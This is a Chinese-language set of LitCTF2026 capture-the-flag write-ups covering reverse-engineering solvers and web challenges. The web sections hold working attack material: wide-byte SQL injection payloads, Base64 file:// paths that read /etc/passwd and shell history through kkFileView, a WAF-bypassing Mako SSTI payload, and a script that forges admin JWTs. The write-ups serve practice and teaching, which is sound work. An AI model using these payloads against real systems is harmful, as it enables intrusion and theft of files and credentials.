        io.sendline(cmd)
        print(io.recvrepeat(2).decode(errors="replace"))
    else:
        io.interactive()


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--remote", action="store_true")
    parser.add_argument("--cmd")
    args = parser.parse_args()
    exploit(args.remote, args.cmd.encode() if args.cmd else None)

远程取 flag 时可以直接这样跑:

python solve.py --remote --cmd "cat /flag /flag.txt /home/*/flag*"

运行结果

flag{52yohtbz-gj0x-4fi-8xpg-gkknsspkkmtkl}

Reverse

1. lit_xor_chain

先从二进制中搜索可读字符串,可以看到输入提示、成功失败提示,以及一段 30 字节的期望数组:

23 40 2b 16 0b 19 2e 25 3c 29 67 68 12 2f 42
25 12 2b 3f 3c 41 12 38 3b 3b 12 42 3e 78 34

符号表中存在 g_expected,对应这段数组。反汇编 main 后核心逻辑如下:

cmp      rax, 0x1e
jne      wrong
movzx    edx, byte ptr [rcx]
xor      edx, 0x52
add      edx, 5
cmp      byte ptr [r8], dl
jne      wrong

程序要求输入长度为 0x1e = 30,然后逐字节计算:

encoded = ((ch ^ 0x52) + 5) & 0xff

所以反向恢复原文:

ch = ((encoded - 5) & 0xff) ^ 0x52

Solver

EXPECTED = bytes.fromhex(
    "23 40 2b 16 0b 19 2e 25 3c 29 67 68 12 2f 42"
    " 25 12 2b 3f 3c 41 12 38 3b 3b 12 42 3e 78 34"
)

flag = bytes(((byte - 5) & 0xFF) ^ 0x52 for byte in EXPECTED)
print(flag.decode())

输出

LitCTF{rev01_xor_then_add_ok!}

完整脚本见:solve.py

2. lit_b64_alphabet

题目实现的是标准 Base64 分组,但替换了输出字母表。符号表中有两个关键符号:

g_expected
g_alphabet

.rdata 中提取到:

EXPECTED = zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==
CUSTOM_ALPHABET = 2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI

标准 Base64 字母表是:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

程序编码时用 CUSTOM_ALPHABET[index] 输出字符。因此解密时只需要把期望密文里的自定义字母表字符映射回标准 Base64 字符,再用标准 Base64 解码即可。

solver

import base64

standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
custom = "2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI"
expected = "zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl=="

table = str.maketrans(custom, standard)
plain_b64 = expected.translate(table)
print(base64.b64decode(plain_b64).decode())

输出

LitCTF{rev02_custom_b64_table!}

3. lit_tea_standard

Analysis

题目对输入做 PKCS#7 填充到 8 字节倍数,然后按块执行标准 TEA 32 轮加密,并与 .rdata 中的密文比较。

.rdata 中找到 32 字节密文:

ed ef 21 fe b7 9b 3c b0 1e 93 72 e2 02 3e 29 bc
36 f7 0c 92 2e 5a ae 46 44 fa 45 25 1a e5 8c 87

反汇编 main 中的 TEA 循环,能看到 delta = 0x9E3779B9,32 轮。由于编译器把部分加法常量优化成了 sub imm,对应密钥需要转成补码:

sub eax, 0x5ee31054  ->  k0 = 0xa11cefac
sub esi, 0x4ff4e200  ->  k1 = 0xb00b1e00
sub eax, 0x35014542  ->  k2 = 0xcafebabe
sub esi, 0x21524111  ->  k3 = 0xdeadbeef

所以密钥为:

k = [0xA11CEFAC, 0xB00B1E00, 0xCAFEBABE, 0xDEADBEEF]

数据按小端 uint32 读取,每 8 字节一块解 TEA,最后去掉 PKCS#7 填充。

Solver

from struct import pack, unpack

MASK = 0xFFFFFFFF
DELTA = 0x9E3779B9
KEY = (0xA11CEFAC, 0xB00B1E00, 0xCAFEBABE, 0xDEADBEEF)

def dec_block(block):
    v0, v1 = unpack("<2I", block)
    total = (DELTA * 32) & MASK
    for _ in range(32):
        v1 = (v1 - ((((v0 << 4) & MASK) + KEY[2]) ^ ((v0 + total) & MASK) ^ ((v0 >> 5) + KEY[3]))) & MASK
        v0 = (v0 - ((((v1 << 4) & MASK) + KEY[0]) ^ ((v1 + total) & MASK) ^ ((v1 >> 5) + KEY[1]))) & MASK
        total = (total - DELTA) & MASK
    return pack("<2I", v0, v1)

Output

LitCTF{rev03_tea_standard!!}

4. lit_rc4_variant

Analysis

题目实现了一个 RC4 变体,状态数组长度为 64,而不是标准 RC4 的 256。

.rdata 中可以直接看到 key 和密文:

KEY = lit_rc4_key!
CIPHER = 7b 3d 38 77 4e 72 42 7d 45 37 76 0f 53 53 4f 66
         37 17 75 37 5f 49 58 72 74 7f 79 1f 3a

KSA 逻辑与 RC4 类似,但模 64:

s = list(range(64))
j = 0
for i in range(64):
    j = (j + s[i] + key[i % len(key)]) & 0x3f
    s[i], s[j] = s[j], s[i]

PRGA 需要注意,输出并不是标准 RC4 的 S[(S[i] + S[j]) & mask]。反汇编确认流程为:

  1. i = (i + 1) & 0x3f
  2. 记录交换前的 old_si = S[i]
  3. j = (j + old_si) & 0x3f
  4. 记录交换前的 old_sj = S[j]
  5. 交换 S[i]S[j]
  6. 输出流字节为 S[i] + S[(old_si + old_sj) & 0x3f]

因为是异或流密码,加密和解密函数相同。

Solver

KEY = b"lit_rc4_key!"
CIPHER = bytes.fromhex(
    "7b 3d 38 77 4e 72 42 7d 45 37 76 0f 53 53 4f 66"
    " 37 17 75 37 5f 49 58 72 74 7f 79 1f 3a"
)

s = list(range(64))
j = 0
for i in range(64):
    j = (j + s[i] + KEY[i % len(KEY)]) & 0x3f
    s[i], s[j] = s[j], s[i]

out = bytearray()
i = j = 0
for byte in CIPHER:
    i = (i + 1) & 0x3f
    old_si = s[i]
    j = (j + old_si) & 0x3f
    old_sj = s[j]
    s[i], s[j] = s[j], s[i]
    stream = (s[i] + s[(old_si + old_sj) & 0x3f]) & 0xff
    out.append(byte ^ stream)

print(out.decode())

Output

LitCTF{rev05_rc4_variant_64!}

Tools Used

  • rg -a: 搜索 PE 中的可读字符串和符号名。
  • Python: 解析 PE/COFF 符号表、提取 .rdata 常量、写解密脚本。
  • Capstone: 对 main 做轻量反汇编,确认变换逻辑、常量和长度。

Takeaways

  • 对带符号的 MinGW PE,COFF 符号表非常有用,常能直接定位 maing_expectedg_key
  • 入门逆向题优先找 .rdata,期望数组、密钥、Base64 表、提示字符串通常都在这里。
  • 自定义编码/加密题的核心是确认三个点:输入长度、常量/表、端序或索引细节。
  • 遇到编译器优化后的 sub imm,要注意它可能等价于加上补码形式的 key。

5.lit_xtea_tweak

题目概述 题目提示说这题流程类似 XTEA,但标准常量 delta 被替换成了 0xDEADBEEF。 因此核心方向很明确:先确认它是不是标准 32 轮 XTEA,再看常量和填充细节有没有变化。

分析过程 样本同样只有一个 challenge.exe。先看字符串和符号,可以发现:

输入提示:input your flag:

成功失败提示:Good!、Wrong!

符号名:g_cipher、g_key

还能直接看到 delta 这个字符串

在 .rdata 区域里,可以直接提取到两类关键数据:

一段 32 字节密文:

e3ee1ee7d3a7966fc6a7b9e1b94e67865f0304a6dbbbb940563af79eee64d406

以及 128 位 key:

0x11111111, 0x22222222, 0x33333333, 0x44444444

核心逆向 反汇编 main 后,逻辑非常清楚:

读入用户输入。计算长度。按 8 字节分组进行填充。

填充值是典型 PKCS#7 风格,例如差 3 字节就补 0x03 0x03 0x03。 填充后长度必须正好等于 0x20,也就是 32 字节。然后按块执行 XTEA 风格加密,最后与内置 32 字节密文比较。从反汇编能还原出其加密轮函数:

v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);

这和标准 XTEA 完全一致,只是 delta 不再是 0x9E3779B9,而是:

delta = 0xDEADBEEF

并且循环终止条件对应 32 轮,总和为:

sum = delta * 32 = 0xD5B7DDE0

所以这题其实就是“改常量版 XTEA”。

sub eax, 0x21524111 这里的补码对应的就是加 0xDEADBEEF

比较终止值 0xD5B7DDE0

两个 key 索引位置 sum & 3 和 (sum >> 11) & 3

解密思路 既然程序是“输入明文后加密再比较”,那最方便的做法就是反过来直接解密内置密文。

XTEA 解密公式与加密相反,已知:

cipher = e3ee1ee7d3a7966fc6a7b9e1b94e67865f0304a6dbbbb940563af79eee64d406

key = [0x11111111, 0x22222222, 0x33333333, 0x44444444]

delta = 0xDEADBEEF

初始 sum = delta * 32

解密脚本如下:

import struct cipher = bytes.fromhex("e3ee1ee7d3a7966fc6a7b9e1b94e67865f0304a6dbbbb940563af79eee64d406") key = [0x11111111, 0x22222222, 0x33333333, 0x44444444] delta = 0xDEADBEEF sum0 = (delta * 32) & 0xffffffff def dec_block(block): v0, v1 = struct.unpack("<2I", block) s = sum0 for _ in range(32): v1 = (v1 - ((((v0 << 4) & 0xffffffff) ^ (v0 >> 5)) + v0 ^ ((s + key[(s >> 11) & 3]) & 0xffffffff))) & 0xffffffff s = (s - delta) & 0xffffffff v0 = (v0 - ((((v1 << 4) & 0xffffffff) ^ (v1 >> 5)) + v1 ^ ((s + key[s & 3]) & 0xffffffff))) & 0xffffffff return struct.pack("<2I", v0, v1) plain = b"".join(dec_block(cipher[i:i+8]) for i in range(0, len(cipher), 8)) print(plain)

输出结果为:

b'LitCTF{rev04_xtea_delta_twk!}\\x03\\x03\\x03'

最后去掉 0x03 填充即可得到 flag。

截图建议 4 放脚本输出截图,最好能把 LitCTF{rev04_xtea_delta_twk!}\x03\x03\x03 和“去填充后最终 flag”一起截进去。

最终答案 LitCTF{rev04_xtea_delta_twk!}

Web

Lit_ezsql

这题本质是一个 MySQL 宽字节注入。

首页只有一个 id 查询框,请求到 /query?id=...。先正常访问:

/query?id=1

可以看到回显一条用户数据。继续加上 debug=1:

/query?id=1&debug=1

页面会直接显示后端执行的 SQL:

SELECT `id`,`name`,`col2`,`col3`,`col4` FROM `ezsql`.`users` WHERE id='1' LIMIT 50

这一步非常关键,说明:1. 参数是被直接拼进 SQL 的。2. id 被包在单引号里。3. 题目还会对单引号做转义,因为像下面这种普通注入打不进去:

/query?id=1' or '1'='1&debug=1

回显 SQL 类似:

WHERE id='1\' or \'1\'=\'1'

说明后端用了类似 addslashes() 的处理。

真正利用点

这是 MySQL/MariaDB 环境,且存在宽字节注入。

使用 %df%27 或 %bf%27 可以绕过转义:

/query?id=%df%27 or 1=1#&debug=1

页面会返回多条记录,说明注入成功。

其中 # 用来注释掉后面的单引号。

接着确认 union 可用:

/query?id=%df%27 union select 1,2,3,4,5#

成功回显:1 | 2 | 3 | 4 | 5

说明一共 5 列,且都能显示。

枚举库表

先看当前库名和版本:

/query?id=%df%27 union select database(),user(),version(),4,5

得到当前库是:ezsql

再枚举表名:

/query?id=%df%27 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#

得到:

users,flag_store

flag_store 明显可疑。

枚举 flag_store 的列

因为题目会转义单引号,所以这里不用 'flag_store',改用十六进制字符串:

/query?id=%df%27 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name=0x666c61675f73746f7265#

得到列名:

id,flag

读取 flag

直接查表:

/query?id=%df%27 union select 1,flag,3,4,5 from flag_store#

拿到最终 flag:

flag{qatecxua-iyan-41h-8cpu-mzh5vqig4qqr2}

总结

这题的核心是两步:
1. debug=1 泄露真实 SQL,帮助确认注入点和转义方式。
2. 利用 MySQL 宽字节注入 %df%27 绕过 addslashes 风格转义。

flag{qatecxua-iyan-41h-8cpu-mzh5vqig4qqr2}

Northbridge Document Hub

一、信息搜集

浏览器打开靶机,直接 302 跳转到 /login,是一个登录页面。页面标题叫「Northbridge Document Hub」,没有注册入口,先看看前端代码。

翻静态资源的时候发现 /assets/js/portal.js,拉下来一看:

auth: {

mode: "legacy-fallback",

// researcher:Research#2026

seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"

},

fileGateway: {

path: "/kkfileview/getCorsFile",

queryKey: "urlPath",

node: "legacy-parse-02"

}

seed 那段 cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2 明显是 Base64,解码出来就是 researcher:Research#2026。上面注释都贴脸了,直接拿下账号。

有几个关键信息先记下:

  • 登录接口 /login,表单字段是 username 和 password

  • /kkfileview/getCorsFile — 经典的 kkFileView 文件预览网关接口,参数名 urlPath


二、登录

POST 一把梭:

POST /login

Content-Type: application/x-www-form-urlencoded

username=researcher&password=Research#2026

返回 302 + JSESSIONID,跳转到 /home,登录态到手。


三、/home 信息整理

登录后 /home 页面暴露了大量内部信息,逐条看:

| 信息 | 值 |

|---|---|

| 当前用户 | researcher |

| Gateway Node | legacy-parse-02 |

| Storage Class | archive-cache-prd |

| Cache Mount | /opt/kkfileview/cache/parsed |

| Region | CN-SH2 |

审计摘要表格里有三条记录:

11:10 doc/finance_2026q1.xlsx parse SUCCESS

11:22 contract/batch-0912.pdf parse SUCCESS

11:33 archive/retry-job-8842 RETRY

doc/finance_2026q1.xlsx 已经被成功解析,且题目描述里提到「本季度财务归档」,这条记录八九不离十就是 flag 的入口。


四、kkFileView getCorsFile 利用

kkFileView 的 getCorsFile 接口本意是跨域获取文件、让前端去做在线预览。但如果 urlPath 参数没有做好白名单校验,就可以读取任意文件。

直接传普通路径返回 400 invalid urlPath,说明参数被收到了但校验没过。翻 kkFileView 源码(或者凭经验),发现它支持 **Base64 编码的 file:// 协议路径**。

验证一下——试试 /etc/passwd:

file:///etc/passwd → Base64 → ZmlsZTovLy9ldGMvcGFzc3dk

GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk

回显:

root❌0:0:root:/root:/bin/bash

daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin❌2:2:bin:/bin:/usr/sbin/nologin

...

妥了,任意文件读取确认。


五、寻找 flag 位置

先测了一圈常见 flag 路径——/flag、/root/flag、/tmp/flag、/app/flag——全部 404。

既然 /etc/passwd 能读,那读一下历史命令看看运维干了什么:

file:///root/.bash_history → Base64 → ...

内容:

cd /opt/kkfileview/bin

./startup.sh --cache.dir=/opt/kkfileview/cache/parsed

java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true

cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip

最后一行直接爆金币——缓存目录下压了一个 q1_finance_report_2026.zip,还被人顺手拷到了 /tmp。


六、下载 & 解压

直接走 kkFileView 把 zip 拉下来:

file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip

→ Base64 → ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA=

GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA=

返回 493 字节的 ZIP(或者叫 JAR 格式,一样),里面就一个 flag.txt。

解压:

flag{airjis4e-r01q-4w3-8rbs-ny5ql1jawcrur}

3. [LitCTF2026] 华辰企业服务运营平台

Summary

题目是一个企业客服工单系统,描述里提示“保留了大量运维与调试能力”。访问站点后可以判断后端是 Spring Boot,继续枚举发现 Spring Boot Actuator 端点未授权暴露,而且 /actuator/env 开启了明文配置值展示,最终直接在环境变量里读到了完整 flag。

Challenge Description

某客服工单系统上线后,保留了大量运维与调试能力。
需要从系统暴露面和服务端中收集关键信息,完成权限突破并还原完整 flag。

Reconnaissance

先访问首页:

curl -i http://challenge.cyclens.tech:31054/

返回的是正常 HTML 页面,页面标题显示为“华辉企业服务运营平台”,与题目名“华辰企业服务运营平台”略有出入;页面里加载了静态资源:

<link rel="stylesheet" href="/css/style.css">
<script src="/js/index.js"></script>

继续查看前端 JS:

curl -s http://challenge.cyclens.tech:31054/js/index.js

可以看到公开接口:

fetch('/api/public/banner')
fetch('/api/public/news')

访问登录页:

curl -i http://challenge.cyclens.tech:31054/login

页面提示默认用户名为 user,并加载:

<script src="/js/login.js"></script>

查看登录逻辑:

curl -s http://challenge.cyclens.tech:31054/js/login.js

得到登录接口:

fetch('/api/auth/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(payload)
})

未登录访问工作台会跳转到登录页:

curl -i http://challenge.cyclens.tech:31054/dashboard

关键响应:

HTTP/1.1 302
Set-Cookie: JSESSIONID=...
Location: http://challenge.cyclens.tech:31054/login;jsessionid=...

404 响应也是典型的 Spring Boot JSON 风格,例如:

curl -i http://challenge.cyclens.tech:31054/robots.txt
{
  "timestamp": "2026-05-23T05:13:00.567+00:00",
  "status": 404,
  "error": "Not Found",
  "message": "",
  "path": "/robots.txt"
}

结合题目里的“运维”和“调试”提示,应优先检查 Spring Boot Actuator

Solution

Step 1: 枚举 Actuator

访问 /actuator

curl -i http://challenge.cyclens.tech:31054/actuator

返回 200,并列出了大量 actuator 端点:

{
  "_links": {
    "beans": {
      "href": "http://challenge.cyclens.tech:31054/actuator/beans"
    },
    "health": {
      "href": "http://challenge.cyclens.tech:31054/actuator/health"
    },
    "configprops": {
      "href": "http://challenge.cyclens.tech:31054/actuator/configprops"
    },
    "env": {
      "href": "http://challenge.cyclens.tech:31054/actuator/env"
    },
    "heapdump": {
      "href": "http://challenge.cyclens.tech:31054/actuator/heapdump"
    },
    "mappings": {
      "href": "http://challenge.cyclens.tech:31054/actuator/mappings"
    }
  }
}

说明 Actuator 端点没有做鉴权,而且暴露范围很大。

Step 2: 读取环境变量

继续访问 /actuator/env

curl -s http://challenge.cyclens.tech:31054/actuator/env

响应中能看到运行环境、系统属性和应用配置。关键信息如下:

{
  "name": "systemEnvironment",
  "properties": {
    "LAB_FLAG_PART2": {
      "value": "s-8jfj-mzs2ey0syjffk}",
      "origin": "System Environment Property \"LAB_FLAG_PART2\""
    },
    "FLAG": {
      "value": "flag{n2ozekzi-kfga-4fs-8jfj-mzs2ey0syjffk}",
      "origin": "System Environment Property \"FLAG\""
    },
    "LAB_SHIRO_KEY_B64": {
      "value": "R1pDVEZTaGlyb0dDTUtleQ==",
      "origin": "System Environment Property \"LAB_SHIRO_KEY_B64\""
    },
    "LAB_SHIRO_ALG_MODE": {
      "value": "GCM",
      "origin": "System Environment Property \"LAB_SHIRO_ALG_MODE\""
    }
  }
}

同时在 applicationConfig: [classpath:/application.yml] 中还能看到:

{
  "management.endpoints.web.exposure.include": {
    "value": "*"
  },
  "management.endpoint.env.show-values": {
    "value": "always"
  },
  "management.endpoint.configprops.show-values": {
    "value": "always"
  }
}

这就解释了为什么 /actuator/env 会直接显示敏感配置值:应用把 actuator 全量暴露,而且配置了 show-values: always

Step 3: 提取 Flag

最终在环境变量 FLAG 中直接得到完整 flag:

flag{n2ozekzi-kfga-4fs-8jfj-mzs2ey0syjffk}

如果只看 LAB_FLAG_PART2,也可以得到后半段:

s-8jfj-mzs2ey0syjffk}

但本题 /actuator/env 已经直接泄露了 FLAG,无需继续伪造登录态或利用 Shiro key。

Exploit Command

最短利用命令:

curl -s http://challenge.cyclens.tech:31054/actuator/env

也可以用 PowerShell 过滤关键字段:

(Invoke-RestMethod 'http://challenge.cyclens.tech:31054/actuator/env').propertySources |
  ForEach-Object { $_.properties.FLAG } |
  Where-Object { $_ } |
  Select-Object -ExpandProperty value

输出:

flag{n2ozekzi-kfga-4fs-8jfj-mzs2ey0syjffk}

Vulnerability

本题核心漏洞是 Spring Boot Actuator 未授权暴露。

危险配置包括:

management:
  endpoints:
    web:
      exposure:
        include: "*"
  endpoint:
    env:
      show-values: always
    configprops:
      show-values: always

其中:

  • exposure.include: "*" 暴露所有 actuator 端点。
  • /actuator/env 会返回环境变量、系统属性和配置文件内容。
  • show-values: always 导致敏感值不再脱敏。

在真实环境中,这类问题可能泄露数据库密码、JWT 密钥、Shiro key、云服务凭证、内部地址、flag 等敏感信息。

Tools Used

  • curl: 访问页面、接口和 actuator 端点
  • Browser / manual recon: 观察页面结构和前端 JS

Flag

flag{n2ozekzi-kfga-4fs-8jfj-mzs2ey0syjffk}

Takeaways

  • 看到 Spring Boot 风格 404、JSESSIONID/actuator 等特征时,应优先检查 actuator 暴露面。
  • CTF 里题目描述出现“运维”“调试”“监控”“审计”“内部能力”等关键词时,通常暗示调试接口或管理端点未关。
  • Actuator 的 /env/configprops/heapdump/mappings 都是高价值端点,可能泄露配置、路由、内存中的敏感数据或内部接口信息。
  • 生产环境应最小化暴露 actuator,只开放必要端点,并对管理端点加认证、内网限制和敏感值脱敏。

4. [LitCTF2026] lit_ezssti

Summary

这题首页直接给了一个“模板渲染”输入框,题名也明示 SSTI,但常见的 {{7*7}}{{config}} 一类 Jinja2 探测都没有执行,反而部分特殊语法会回显 WAF。继续探测后可以确认后端实际使用的是 Mako 模板引擎,而且 WAF 主要拦截了 $.[]flag 等高危特征;利用 Mako 的 % 控制语句配合异常回显,绕过关键字检测后直接读取 /flag

Challenge Description

题目描述只有一句“缺什么补什么(x)”,页面也非常简洁,只有一个模板输入框和回显区域。核心思路就是判断真实模板引擎,并在 WAF 限制下构造可以执行 Python 的 payload。

Reconnaissance

先访问首页:

curl -i http://challenge.cyclens.tech:30311/

页面主体非常直接:

<form method="post" action="/" class="card">
  <label for="tpl">模板</label>
  <textarea id="tpl" name="tpl"></textarea>
  <button type="submit">渲染</button>
</form>
<pre id="out"></pre>

第一反应通常是按 Jinja2 去测:

curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "tpl={{7*7}}"

但回显还是原样的 {{7*7}},说明它不是直接执行 Jinja2 表达式。继续测试一些模板特征:

curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "tpl={% set x=7*7 %}{{x}}"
curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "tpl=${7*7}"
curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "tpl=<%= 7*7 %>"

其中:

  • {{...}} 只是原样输出。
  • ${...}<%= ... %> 会被拦成 WAF
  • 某些带 % 的输入会进入模板解析流程,甚至报出语法异常。

这一步已经很像 Mako 了,因为 Mako 支持 ${...}<% ... %> 和行首 % 控制语句。

Solution

Step 1: 确认是 Mako 而不是 Jinja2

构造一个只依赖 % 控制语句的 payload:

curl -s -X POST http://challenge.cyclens.tech:30311/ --data-urlencode "% if 1/0:
% endif"

页面回显:

[渲染异常] ZeroDivisionError: division by zero

说明服务端确实在执行模板中的 Python 逻辑,并把异常信息直接回显到了页面上。这种报错风格和 Mako 的控制语句行为是对得上的。

Step 2: 分析 WAF 规则

继续用最小 payload 探测哪些字符会触发拦截。很快可以发现:

  • ${7*7} 会被拦。
  • {{().__class__}} 会被拦。
  • 只要 payload 中出现 .[]flag 之类高危片段,通常就会落到 WAF

这意味着常见的对象链写法用不了,但 % if ... 里的 Python 表达式还能执行,只要我们避开这些关键字和字符即可。

Step 3: 用异常回显读取 /flag

直接写 open('/flag').read() 会被 WAF 命中,因为既有 .,又有连续字符串 flag。所以需要同时绕过这两点:

  1. 不用点号调用方法,改用 getattr(...)
  2. 不直接写 flag,改成字符串拼接 '/f'+'lag'

最终 payload:

% if exec("raise Exception(getattr(open('/f'+'lag'),'read')())"):
% endif

提交后页面会把文件内容作为异常消息回显:

[渲染异常] Exception: flag{4gsmcoho-2xwn-4q3-8uv5-8r3a9ts6s4cak}

Exploit Command

最短利用命令如下:

curl -s -X POST http://challenge.cyclens.tech:30311/ ^
  --data-urlencode "tpl=% if exec(\"raise Exception(getattr(open('/f'+'lag'),'read')())\"):
% endif"

拿到的结果里会直接包含完整 flag。

Vulnerability

本题的核心问题有两层:

  • 服务端把用户输入直接交给了 Mako 模板引擎处理,形成 SSTI。
  • WAF 只是基于关键字和字符做浅层拦截,没有真正阻止模板中的 Python 执行。

一旦攻击者确认了模板引擎类型,就可以改写语法,绕过对 ${...}、点号和敏感单词的过滤,最终读文件甚至进一步执行任意代码。

Tools Used

  • curl: 测试输入点、提交 payload、查看回显
  • 手工语法探测: 区分 Jinja2 与 Mako,并归纳 WAF 的拦截规则

Flag

flag{4gsmcoho-2xwn-4q3-8uv5-8r3a9ts6s4cak}

Takeaways

  • 题名提示 SSTI 时,第一步不是急着堆对象链,而是先判断真实模板引擎。
  • Mako 的 % 控制语句在很多“只盯 ${...}”的过滤里很容易漏掉。
  • 遇到关键字拦截时,字符串拼接、getattr、异常回显这类“低配绕过”往往已经够用。

5. [LitCTF2026] lit_reverse_my_web

Summary

这题表面是一个企业运营平台登录站,实际关键点在附件提供的 server.exe。正常注册登录后只能拿到普通用户 JWT,而 /flag 需要管理员权限。逆向 Go 服务端程序后可以恢复出被简单异或混淆的 JWT HMAC 密钥,随后伪造 role=admin 的 token,直接访问 /flag 读出 flag。

Challenge Description

题目给了远程站点和一个服务端附件。站点有注册、登录、登出和 flag 页面,看起来像常规 Web 题,但题名 lit_reverse_my_web 和题目描述都在提示“这是一道要逆服务端的 Web 题”。

Reconnaissance

先访问首页:

curl -i http://challenge.cyclens.tech:30599/

返回的是一个中文企业风格页面,能看到几个核心路由:

  • /register
  • /login
  • /flag

随后验证正常注册和登录流程:

curl -i -X POST http://challenge.cyclens.tech:30599/register ^
  -H "Content-Type: application/x-www-form-urlencoded" ^
  --data "username=test123&password=abcdef123456"

注册后会跳转到登录页。继续登录:

curl -i -X POST http://challenge.cyclens.tech:30599/login ^
  -H "Content-Type: application/x-www-form-urlencoded" ^
  --data "username=test123&password=abcdef123456"

关键响应如下:

HTTP/1.1 303 See Other
Location: /
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....

说明站点把身份信息放在 token 这个 Cookie 中。把 JWT payload 解码后,可以看到类似:

{
  "role": "user",
  "iss": "reverseMyWeb",
  "sub": "test123",
  "exp": 1779599523,
  "iat": 1779513123
}

这意味着如果能伪造一个合法签名的 role=admin token,就能越权访问 /flag

Static Analysis

附件里只有一个 server.exe,先做静态分析。直接从字符串和符号中就能看到很多关键信息:

main.(*app).handleRegister
main.(*app).handleLogin
main.(*app).handleFlag
main.(*app).signJWT
main.(*app).parseToken
reverseMyWeb/internal/jwtsecret.encKey
CREATE TABLE IF NOT EXISTS users (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT NOT NULL UNIQUE,
  password_hash BLOB NOT NULL,
  role TEXT NOT NULL DEFAULT 'user'
)

这些信息说明:

  • 后端是 Go 编译出来的 Web 服务。
  • 用户信息存在 SQLite 中。
  • 新注册用户默认角色就是 user
  • JWT 相关逻辑集中在 signJWTparseTokenjwtsecret.encKey

继续看 parseToken 的逻辑,可以确认它优先从 Authorization: Bearer ... 取 token,如果没有,再从 Cookie token 中读取。

Solution

Step 1: 定位被混淆的 JWT 密钥

在符号表里能定位到一个全局变量:

reverseMyWeb/internal/jwtsecret.encKey

它不是明文字符串,而是一段长度为 32 的字节数据。导出后得到:

28 17 2d 05 68 6a 68 6c 05 36 33 2e 39 2e 3c 05
30 2d 2e 05 29 3f 39 28 3f 2e 05 31 3f 23 7b 7b

这串字节看起来并不像随机密钥,更像是可打印字符串被单字节混淆。对每个字节异或 0x5a 后,可还原出真正的 HMAC 密钥:

rMw_2026_litctf_jwt_secret_key!!

Step 2: 伪造管理员 JWT

知道密钥后,构造一个合法的 HS256 JWT 即可。只要保持 payload 中的关键字段格式与站点一致,把 role 改成 admin

{
  "role": "admin",
  "iss": "reverseMyWeb",
  "sub": "codex",
  "exp": 1779599918,
  "iat": 1779513518
}

示例脚本:

import base64
import hashlib
import hmac
import json
import time

key = b"rMw_2026_litctf_jwt_secret_key!!"
header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "role": "admin",
    "iss": "reverseMyWeb",
    "sub": "codex",
    "exp": int(time.time()) + 86400,
    "iat": int(time.time()),
}

def b64(data):
    raw = json.dumps(data, separators=(",", ":")).encode()
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()

msg = f"{b64(header)}.{b64(payload)}".encode()
sig = base64.urlsafe_b64encode(hmac.new(key, msg, hashlib.sha256).digest()).rstrip(b"=").decode()
token = msg.decode() + "." + sig
print(token)

Step 3: 带着伪造 token 访问 /flag

curl -i http://challenge.cyclens.tech:30599/flag ^
  -H "Cookie: token=<forged_jwt>"

返回:

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8

flag{pqtwfcsi-lnl4-4ga-8glz-nuvhybhgzjijx}

Exploit Command

最短利用思路就是“本地生成 token,再请求 /flag”:

import base64, json, hmac, hashlib, time, requests

key = b"rMw_2026_litctf_jwt_secret_key!!"
header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "role": "admin",
    "iss": "reverseMyWeb",
    "sub": "codex",
    "exp": int(time.time()) + 86400,
    "iat": int(time.time()),
}

def b64(x):
    return base64.urlsafe_b64encode(json.dumps(x, separators=(",", ":")).encode()).rstrip(b"=").decode()

msg = f"{b64(header)}.{b64(payload)}".encode()
sig = base64.urlsafe_b64encode(hmac.new(key, msg, hashlib.sha256).digest()).rstrip(b"=").decode()
token = msg.decode() + "." + sig

r = requests.get("http://challenge.cyclens.tech:30599/flag", headers={"Cookie": f"token={token}"})
print(r.text)

输出:

flag{pqtwfcsi-lnl4-4ga-8glz-nuvhybhgzjijx}

Vulnerability

这题的核心问题是:

  • JWT HMAC 密钥被硬编码在服务端程序里。
  • 所谓“混淆”只是简单的单字节异或。
  • 权限直接由客户端 token 里的 role 字段决定。
  • /flag 对管理员身份的判断仅依赖 JWT 签名和 claim,没有服务端二次校验。

因此一旦攻击者拿到附件,就能离线还原密钥并伪造任意角色。

Tools Used

  • curl: 验证注册、登录和最终读取 /flag
  • 字符串和符号分析: 从二进制中提取路由、SQL 和 JWT 相关信息
